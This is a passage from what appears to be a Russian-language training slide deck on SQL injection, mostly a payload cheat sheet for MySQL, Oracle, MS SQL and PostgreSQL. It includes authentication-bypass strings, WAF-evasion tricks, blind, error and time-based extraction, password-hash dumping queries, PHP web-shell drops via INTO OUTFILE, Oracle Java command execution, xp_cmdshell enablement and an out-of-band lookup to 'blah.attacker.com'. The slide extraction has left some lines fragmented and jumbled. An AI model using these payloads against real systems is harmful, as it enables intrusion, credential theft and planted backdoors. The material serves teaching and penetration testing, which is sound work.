Тогда, запрос к БД выглядит так:
100

101. Пользовательские формы ввода

Если фильтрация отсутствует, то у нас имеется 3 варианта развития событий. Уязвимым
параметром может быть, как login, так и password. Для того, чтобы понять, есть ли уязвимость,
мы простейшими способами попробуем получить доступ к аккаунту пользователя Seller.
• Попробуем подставить кавычку в параметр login. Делается это все так же, как и в первом
случае. Но перед тем, как подставить кавычку, мы сделаем так, чтобы наш запрос возвращал
истинное значение. Т.е. это то значение, при котором все заданные нами параметры будут
засчитаны
как
верные.
К
тому
же,
мы
отбросим
пароль.
Тут все зависит от вашей фантазии:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
101

102. Пользовательские формы ввода

С параметром password все гораздо интереснее. Помимо кавычки, мы поработаем и с
логическими операторами. Одним из часто используемых логических операторов является – OR.
При использовании данного оператора мы попробуем вернуть истинность нашего запроса к БД.
Когда мы обращаемся к базе, то она проверяет заданный нами пароль. Он, конечно же, не верен.
Из этого следует, что возвращается 0. Так как мы допишем логический оператор OR, то база
данных проверит истинность второго выражения 1=1, которое истинно. А, как мы знаем, 1 or 1==
1. Такой способ, должен пропустить нас на аккаунт Seller, тем самым “сказав” нам, что на сайте
имеется уязвимость. В итоге мы подставляем - ‘ OR 1=1; -- В запросе это выглядит так:
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
102

103. SQL-инъекции (Cheat Sheet)

Часть 3

104. Темы модуля:

Обнаружение инъекции
6
MySQL
2
Определение типа базы данных
7
Oracle
3
Обход авторизации
8
MS SQL
4
WAF bypass
9
PostgreSQL
5
Определение количества
колонок
104
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
1

105. Обнаружение инъекции

ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
'
%27 "
%22 #
%23
;
%3B
)
Wildcard (*)
%%2727
%25%27
`+HERP '||'DERP
'+'herp ' 'DERP
'%20'HERP
'%2B'HERP
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
105

106. Определение типа базы данных

MYSQL
connection_id()=connection_id()
MYSQL
crc32('MySQL')=crc32('MySQL')
MYSQL
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
MYSQL
@@CONNECTIONS>0
MSSQL
@@CONNECTIONS=@@CONNECTIONS
MSSQL
@@CPU_BUSY=@@CPU_BUSY
MSSQL
USER_ID(1)=USER_ID(1)
MSSQL
ROWNUM=ROWNUM
ORACLE
RAWTOHEX('AB')=RAWTOHEX('AB')
ORACLE
LNNVL(0=123)
ORACLE
5::int=5
POSTGRESQL
pg_client_encoding()=pg_client_encoding()
POSTGRESQL
get_current_ts_config()=get_current_ts_co nfig()
POSTGRESQL
quote_literal(42.5)=quote_literal(42.5)
POSTGRESQL
current_database()=current_database()
POSTGRESQL
1337=1337
MSACCESS,SQLI TE,POSTGRESQL,ORACLE, MSSQL,
MYSQL
'i'='i'
MSACCESS,SQLI
106
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
conv('a',16,2)=conv('a',16,2)

107. Обход авторизации

ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
'-'
''
'&'
'^'
'*'
' or 1=1 limit 1 -- -+ '="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-" " "
"&"
"^"
"*"
" or ""-"
" or "" «
or 1=1
107

108. Обход авторизации

ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
or 1=1—
or 1=1#
or 1=1/*
admin
' -- admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2-admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2—
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/* admin' or '1'='1
admin' or '1'='1'-admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1
admin' or 1=1—
admin' or 1=1# admin' or 1=1/* admin') or ('1'='1
admin') or ('1'='1’ –
admin') or ('1'='1'#
108

109. Обход авторизации

ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'-admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055 admin" –
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"-admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
109

110. WAF bypass

ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
?id=1%09and%091=1%09-?id=1%0Dand%0D1=1%0D-?id=1%0Cand%0C1=1%0C-?id=1%0Band%0B1=1%0B-?id=1%0Aand%0A1=1%0A-?id=1%A0and%A01=1%A0-?id=1/*comment*/and/**/1=1/**/-?id=(1)and(1)=(1)-LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN
(SELECT 3)c JOIN (SELECT 4)d
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1# AND -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >
> X -> not between 0 and X
WHERE -> HAVING
110

111. Определение количества колонок

order by 1
order by 2
order by 3
...
order by XXX
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
111

112. MySQL

Комментарии
#
/*
-- ;%00
Получение версии
SELECT VERSION();
SELECT @@VERSION;
SELECT @@GLOBAL.VERSION;
Получение информации
о пользователе
SELECT user()
SELECT current_user() SELECT system_user()
SELECT session_user() SELECT user,password FROM mysql.user;
Получение хэшей паролей
SELECT host, user, password FROM mysql.user;
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;
SELECT table_schema, table_name, column_name, privilege_type FROM
information_schema.column_privileges;
112
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Получение списка
привилегий
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv,
Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv,
Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv,
Repl_slave_priv, Repl_client_priv FROM mysql.user;

113. MySQL

Получение текущей базы
данных
SELECT database()
SELECT db_name();
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT schema_name FROM information_schema.schemata;
Вывод списка баз данных
SELECT distinct(db) FROM mysql.db
SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Вывод списка колонок
SELECT column_name FROM information_schema.columns WHERE table_name =
'tablename';
SELECT table_name FROM information_schema.tables;
Поиск имени таблицы по
колонкам, содержащимся в
ней
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema !
= ‘mysql’ AND table_schema != ‘information_schema’
SELECT table_schema, table_name FROM information_schema.columns WHERE
column_name = ‘username’;
113
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Вывод таблиц

114. MySQL

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;
Вывод определенного
символа
SELECT substr(‘abcd’, 3, 1);
Перевод кода символа
в ASCII символ
SELECT char(65);
Перевод ASCII символа в код
SELECT ascii('A');
Приведения значений
к определенному типу
SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
Склеивание строк
SELECT CONCAT('A','B','C');
Конструкция IF
SELECT if(1=1,'foo','bar');
Конструкция CASE
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Вывод определенной строки
из запроса, содержащего
больше 1 записи
SELECT 0×414243;
Обход waf
CONCAT(CHAR(97), CHAR(98), CHAR(99))
Способы задержки времени
SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5);
Получение имени хоста
SELECT @@hostname;
114

115. MySQL

Получение доступа
к локальному файлу
…’ UNION ALL SELECT
LOAD_FILE(‘/etc/passwd’)
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’;
Добавление нового
пользователя
CREATE USER test1 IDENTIFIED BY
‘pass1′;
Удаление пользователя
DROP USER test1;
Получение привилегий
админа пользователем
GRANT ALL PRIVILEGES ON *.* TO
test1@’%';
Получение директории
в которой находится БД
SELECT @@datadir;
Базы по умолчанию
information_schema, mysql
Union based
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name, 0x7c)
+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name, 0x7C)
+fRoM+information_schema.tables+ wHeRe+table_schema=…
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name, 0x7C)
+fRoM+information_schema.columns+ wHeRe+table_name=…
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+..
115

116. MySQL

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION)
,0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,
floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+’
AND
updatexml(rand(),concat(CHAR(126),version(), CHAR(126)),null)-
Error based
AND
updatexml(rand(),concat(0x3a,(SELECT
concat(CHAR(126),schema_name,CHAR (126)) FROM
information_schema.schemata LIMIT data_offset,1)),null)—
AND
updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR( 126))
AND
updatexml(rand(),concat(0x3a,(SEL ECT
concat(CHAR(126),column_name,CHAR (126)) FROM information_schema.columns WHERE
TABLE_NAME=data_table LIMIT data_offset,1)),null)—
116
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
FROM
information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)—

117. MySQL

AND
updatexml(rand(),concat(0x3a,(SEL ECT
concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT
data_offset,1)),null)-AND
extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-AND
extractvalue(rand(),concat(0x3a,( SELECT concat(CHAR(126),schema_name,CHAR (126))
FROM information_schema.schemata LIMIT data_offset,1)))—
Error based
(продолжение)
AND
extractvalue(rand(),concat(0x3a,( SELECT concat(CHAR(126),column_name,CHAR (126))
FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1))
—
AND
extractvalue(rand(),concat(0x3a,( SELECT concat(CHAR(126),data_info,CHAR(1 26)) FROM
data_table.data_column LIMIT data_offset,1)))-117
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
AND
extractvalue(rand(),concat(0x3a,( SELECT concat(CHAR(126),TABLE_NAME,CHAR( 126))
FROM
information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))—

118. MySQL

' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
Blind based
' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK AND
MAKE_SET(YOLO<(SELECT(length(vers ion()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login, password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login, password),POS,1)),1)
Time based
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
+BENCHMARK(40000000,SHA1(1337))+ '%2Bbenchmark(3200,SHA1(1))%2B' ' OR
IF(MID(@@version,1,1)='5',sleep(1
),1)=‘2
AND [RANDNUM]=BENCHMARK([SLEEPTIME]00 0000,MD5('[RANDSTR]')) //SHA1 RLIKE
SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SL EEPTIME]))
118

119. MySQL

DIOS
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where
(table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,'
> ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in
(@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
SELECT "<?php
system($_GET['cmd']); ?>" into outfile
"C:\\xampp\\htdocs\\backdoor.php«
SELECT '' INTO OUTFILE
'/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>
Drop shell
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL
INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php’
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696
e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- [...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE
'c:/inetpub/wwwroot/backdoor.php'
119

120. Oracle

Комментарии
-SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
Получение версии
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
SELECT user FROM dual
Получение информации
о пользователе
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$;
SELECT name, password, astatus FROM sys.user$
Получение хэшей паролей
SELECT name,spare4 FROM sys.user$
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT * FROM session_privs;
Получение списка
привилегий
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’;
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’;
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
120

121. Oracle

Получение списка аккаунтов
админа
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’;
SELECT global_name FROM global_name;
Получение текущей базы
данных
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
Вывод списка баз данных
SELECT DISTINCT owner FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
Вывод списка колонок
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
Вывод таблиц
SELECT owner, table_name FROM all_tables;
Поиск имени таблицы
по колонкам содержащимся
в ней
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
Вывод определенной строки
из запроса содержащего
больше 1 записи
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY
username) WHERE r=9;
121
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT table_name FROM all_tables;

122. Oracle

Вывод определенного
символа
SELECT substr(‘abcd’, 3, 1) FROM dual;
Перевод кода символа
в ASCII символ
SELECT chr(65) FROM dual;
Перевод ASCII символа в код
SELECT ascii(‘A’) FROM dual;
Приведения значений
к определенному типу
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
Склеивание строк
SELECT ‘A’ || ‘B’ FROM dual;
Конструкция IF
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN 1=1 THEN 1 ELSE
2 END FROM dual;
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Конструкция CASE
SELECT CASE WHEN 1=2 THEN 1 ELSE
2 END FROM dual;
Обход waf
SELECT chr(65) || chr(66) FROM dual;
Получение доступа
к локальному файлу
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
122

123. Oracle

Запросы DNS
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Получения имени хоста
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual;
SELECT UTL_INADDR.get_host_name(’10.0.0. 1′) FROM dual;
Получение директории
в которой ДБ
SELECT name FROM V$DATAFILE;
Базы по умолчанию
SYSTEM SYSAUX
Time based
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSA GE('[RANDSTR]',[SLEEPTIME])
SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM
dual
Error based
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM
dual
SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where
rownum=1),user,user) FROM dual
123
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Способы задержки времени
BEGIN DBMS_LOCK.SLEEP(5); END;
SELECT UTL_INADDR.get_host_name(’10.0.0. 1′) FROM dual;
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

124. Oracle

Error based
(продолжение)
SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual'))
FROM dual
SELECT rtrim(extract(xmlagg(xmlelement(" s", username || ',')),'/s').getstringval(),',') FROM
all_users
SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%’;
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Blind based
SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND
table_name = 'LOG_TABLE’;
Выполнение произвольного
кода
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import
java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader
myReader = new BufferedReader(new InputStreamReader(Runtime.getRunt
ime().exec(args).getInputStream()
));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\
n";myReader.close();return str;} catch (Exception e){ return e.toString(); toString();}} public static
String readFile(String filename){ try{ BufferedReader myReader = new
124
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';

125. Oracle

BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp =
myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception
e){ return e.toString();}}};';
END;
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return
varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END;
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
Выполнение произвольного
кода (продолжение)
125
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT TO_CHAR(dbms_xmlquery.getxml('dec lare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw
(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f757
26365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a
3b7075626c696320636c6173732070776e7574696c7b7075626c6963207374617469632053747
2696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646
572206d726561643d6e6577204275666665726564526561646572286e657720496e707574537
47265616d5265616465722852756e74696d652e67657452756e74696d653747265616d526561
6465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e6765
74496e70757453747265616d282929293b20537472696e67207374656d702c207374723d2222
3b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6
c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475
726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f5
37472696 e6728293b7d7d7d''));

126. Oracle

Выполнение произвольного
кода (продолжение)
EXECUTE IMMEDIATE
utl_raw.cast_to_varchar2(hextoraw
(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e63
28705f636d6420696e207661726368617232292072657475726e2076617263686172322061732
06c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c
616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM
dual
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
') and 1=0 union select null,'">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY
table_name) from all_tables)||'<!--' ,NULL,NULL from dual --&lang=it
DIOS
and 0=1 UNION+SELECT
NULL,(select wm_concat('<li>'||table_name||':'
||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns
order by table_name desc) shell where rnum<120)||'<!-',NULL,NULL,NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL,NULL from
dual--
126
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
') and 1=0 union select null,'">'||(select wm_concat('<li>'||table_name||':'
||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns
order by table_name desc) shell where rnum<120)||'<!--' ,NULL,NULL from dual --&lang=it

127. MS SQL

–
/* */
Получение версии
SELECT @@version
Получение информации
о пользователе
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
SELECT name FROM master..syslogins
Получение хэшей паролей
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(pass word) FROM master..sysxlogins
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + ‘-’ +
master.sys.fn_varbintohexstr(pass word_hash) from master.sys.sql_logins
Получение списка
привилегий
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’);
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’);
SELECT permission_name FROM master..fn_my_permissions(‘master
..syslogins’, ‘OBJECT’);
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Комментарии
127

128. MS SQL

Получение списка
привилегий (продолжение)
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE has access = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
SELECT is_srvrolemember(‘sysadmin’);
Получение списка аккаунтов
админа
Получение текущей базы
данных
SELECT is_srvrolemember(‘sysadmin’, ‘sa’);
SELECT name FROM master..syslogins WHERE sysadmin = ’1′
SELECT DB_NAME()
128

129. MS SQL

Вывод списка баз данных
SELECT name FROM
master..sysdatabases; SELECT DB_NAME(N);
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
‘mytable’);
Вывод списка колонок
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM
master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id
AND master..sysobjects.name=’sometable’;
SELECT name FROM master..sysobjects WHERE xtype = ‘U’;
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
Вывод таблиц
Поиск имени таблицы
по колонкам содержащимся
в ней
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects
JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND
syscolumns.name LIKE ‘%PASSWORD%’
Вывод определенной строки
из запроса содержащего
больше 1 записи
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY
name ASC) sq ORDER BY name DESC
129
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtyp e) FROM
master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sys objects.id
AND master..sysobjects.name=’sometabl e’;

130. MS SQL

SELECT substring(‘abcd’, 3, 1)
Перевод кода символа
в ASCII символ
SELECT char(0×41)
Перевод ASCII символа в код
SELECT ascii(‘A’)
Приведение значений
к определенному типу
SELECT CAST(’1′ as int);
SELECT CAST(1 as char)
Склеивание строк
SELECT ‘A’ + ‘B’
Конструкция IF
IF (1=1) SELECT 1 ELSE SELECT 2
Конструкция CASE
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END
Обход waf
SELECT char(65)+char(66)
Способы задержки времени
WAITFOR DELAY ’0:0:5′
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Вывод определенного
символа
EXEC xp_cmdshell ‘net user’;
Выполнение произвольной
команды
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
130

131. MS SQL

EXEC sp_configure ‘xp_cmdshell’, 1;
Выполнение произвольной
команды (продолжение)
RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:’
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
CREATE TABLE mydata (line varchar(8000));
Получение доступа
к локальному файлу
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;
Получение имени хоста
EXEC sp_helpdb master;
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Получение директории
в которой находится БД
SELECT HOST_NAME()
EXEC sp_helpdb pubs;
Добавление нового
пользователя
EXEC sp_addlogin ‘user’, ‘pass’;
Удаление пользователя
EXEC sp_droplogin ‘user’;
Повышение привилегий
до администратора
EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin;
131

132. MS SQL

Базы по умолчанию
northwind model msdb pubs tempdb
Error based
convert(int,@@version) cast((SELECT @@version) as int) ' + convert(int,@@version) + ' ' +
cast((SELECT @@version) as int) + '
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%’
Blind based
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM
log_table)
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM
log_table)
DIOS
';BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50),
@colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL)
SET @counter = 1 SET @data=' injected by rummykhan ::
'%2b@@version%2b'<br/>'%2bdb_name () SET @tblName = '' SET @colNames = '' WHILE
@counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN
SET @colNames = '' SELECT @tblName = table_name
132
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
Time based
ProductID=1;waitfor delay '0:0:10'-ProductID=1);waitfor delay '0:0:10'-ProductID=1';waitfor delay '0:0:10'-ProductID=1');waitfor delay '0:0:10'-ProductID=1));waitfor delay '0:0:10'--

133. MS SQL

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from
@tmpTbl) SELECT @colNames = @colNames %2b’ :'%2bcolumn_name FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl
VALUES(@tblName) SET @data=@data%2b'<br/><br/>Table :
'%2b@tblName%2b'<br/>Columns : '%2b@colNames%2b'<br/>' SET @counter = @counter
%2b 1 END SELECT @data AS output INTO Challenge END-- -
DIOS (продолжение)
133
ЛИГА ЦИФРОВОЙ ЭКОНОМИКИ
;BEGIN DECLARE @data
VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100)
DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET
@data = 'injected by rummykhan :: ' @@VERSION ' Database :: ' DB_NAME() SET @tblName
= '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM
INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName =
table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select
name from @tmpTbl) SELECT @colNames = @colNames column_name ' : ' FROM
INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data =
@data 'Table : ' @tblName ' Columns : ' @colNames SET @counter = @counter 1 END
SELECT @data AS output INTO Challenge END-- -

134. PostgreSQL

SELECT 1; –comment
SELECT /*comment*/1;
Получение версии
SELECT version()
Получение информации
о пользователе
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
SELECT usename FROM pg_user
Получение хэшей паролей
SELECT usename, passwd FROM pg_shadow
Получение списка
привилегий
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
Получение текущей базы
данных
SELECT current_database()
Вывод списка баз данных
SELECT datname FROM pg_database
Вывод списка колонок
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T
WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND
